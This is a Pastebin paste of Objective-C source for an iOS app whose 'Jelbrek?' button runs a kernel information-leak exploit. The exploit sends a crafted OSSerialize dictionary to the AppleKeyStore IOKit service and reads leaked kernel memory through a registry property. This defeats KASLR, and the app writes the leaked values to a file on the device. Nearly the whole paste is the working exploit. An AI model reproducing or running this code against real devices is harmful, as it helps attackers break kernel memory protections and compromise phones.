Guest User

Untitled

a guest
Jan 11th, 2018
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #import "RootViewController.h"
  2. #import <mach/mach.h>
  3. #import <stdio.h>
  4. #import <stdlib.h>
  5. #import <unistd.h>
  6. #import <string.h>
  7. #import <assert.h>
  8.  
  9. #import <pthread.h>
  10.  
  11. #import <sys/syscall.h>
  12. #import <sys/kauth.h>
  13. #import <sys/stat.h>
  14. #import <IOKit/IOKitLib.h>
  15. #import <IOKit/iokitmig.h>
  16. #import <IOKit/OSMessageNotification.h>
  17.  
  18.  
  19. kern_return_t io_service_open_extended(mach_port_t service, task_t owningTask, uint32_t connect_type, NDR_record_t ndr, io_buf_ptr_t properties, mach_msg_type_number_t propertiesCnt, kern_return_t *result, mach_port_t *connection);
  20.  
  21. kern_return_t io_registry_entry_get_properties(mach_port_t registry_entry, io_buf_ptr_t *properties, mach_msg_type_number_t *propertiesCnt);
  22.  
  23. kern_return_t io_service_get_matching_services_bin(mach_port_t master_port, io_struct_inband_t matching, mach_msg_type_number_t matchingCnt, mach_port_t *existing);
  24.  
  25.  
  26. @implementation RootViewController
  27.  
  28. enum {
  29.     kOSSerializeDictionary      = 0x01000000U,
  30.     kOSSerializeArray           = 0x02000000U,
  31.     kOSSerializeSet             = 0x03000000U,
  32.     kOSSerializeNumber          = 0x04000000U,
  33.     kOSSerializeSymbol          = 0x08000000U,
  34.     kOSSerializeString          = 0x09000000U,
  35.     kOSSerializeData            = 0x0a000000U,
  36.     kOSSerializeBoolean         = 0x0b000000U,
  37.     kOSSerializeObject          = 0x0c000000U,
  38.  
  39.     kOSSerializeTypeMask        = 0x7F000000U,
  40.     kOSSerializeDataMask        = 0x00FFFFFFU,
  41.  
  42.     kOSSerializeEndCollection   = 0x80000000U,
  43. };
  44.  
  45. - (void)viewDidLoad {
  46.         self.view.backgroundColor = [UIColor whiteColor];
  47.  
  48.         UIButton*myButton = [UIButton buttonWithType:UIButtonTypeRoundedRect];
  49.         myButton.frame = CGRectMake(21, 80, 100, 35);
  50.         [myButton setTitle:@"Jelbrek?" forState:UIControlStateNormal];
  51.         [myButton addTarget:self action:@selector(myButtonPressed) forControlEvents:UIControlEventTouchUpInside];
  52.         [self.view addSubview:myButton];
  53. }
  54.  
  55. - (void) myButtonPressed {
  56.     get_kernel_slide();
  57. }
  58.  
  59. unsigned int get_kernel_slide() {
  60.     unsigned int kslide = 0;
  61.     unsigned int fixedAddr = 0;
  62.  
  63.     uint32_t dict[] = {
  64.         0x000000d3,
  65.         kOSSerializeEndCollection | kOSSerializeDictionary | 2,
  66.         kOSSerializeSymbol | 4,
  67.         0x00414141,
  68.         kOSSerializeEndCollection | kOSSerializeNumber | 0x200,
  69.         0x41414141,
  70.         0x41414141
  71.     };
  72.  
  73.     size_t idx = sizeof(dict);
  74.  
  75.     io_service_t serv = 0;
  76.     io_connect_t conn = 0;
  77.     io_iterator_t iter = 0;
  78.  
  79.     mach_port_t master = MACH_PORT_NULL, res = MACH_PORT_NULL;
  80.     kern_return_t kr = 0, err = 0;
  81.  
  82.     // IOKit master port routine
  83.     host_get_io_master(mach_host_self(), &master);
  84.  
  85.     // Check if dict is valid
  86.     kr = io_service_get_matching_services_bin(master, (char*)dict, idx, &res);
  87.  
  88.     if(kr == KERN_SUCCESS) {
  89.         // dict is valid
  90.     } else {
  91.         return -1;
  92.     }
  93.  
  94.     // create a connection to AppleKeyStore
  95.     serv = IOServiceGetMatchingService(master, IOServiceMatching("AppleKeyStore"));
  96.  
  97.     // create our user client using the malicious dictionary
  98.     kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
  99.  
  100.     if(kr == KERN_SUCCESS) {
  101.         // IOUserClient is valid
  102.     } else { // Failed
  103.         return -1;
  104.     }
  105.  
  106.     IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
  107.  
  108.     io_object_t object = 0;
  109.  
  110.     uint32_t bytes = 0;
  111.     char buf[0x200] = {0};
  112.  
  113.     while(bytes == 0) {
  114.         if(object) {
  115.             IOObjectRelease(object);
  116.             // free the previous object
  117.         }
  118.         object = IOIteratorNext(iter);
  119.  
  120.         mach_msg_type_number_t bufCnt = 0x200;
  121.  
  122.         //read the 'AAA' property
  123.         kr = io_registry_entry_get_property_bytes(object, (char*)"AAA", (char*)&buf, &bufCnt);
  124.  
  125.         bytes = *(uint32_t*)(buf);
  126.     }
  127.  
  128.     // leaked data has now been read
  129.  
  130.     FILE *f = fopen("/var/mobile/kaslr_dump.txt", "w");
  131.     for (int a = 0; a < 128; a += 4) {
  132.         fprintf(f, "%#x\n", *(uint32_t*)(buf + a));
  133.     }
  134.     fclose(f);
  135. }
  136.  
  137.  
  138. @end
Advertisement
Add Comment
Please, Sign In to add comment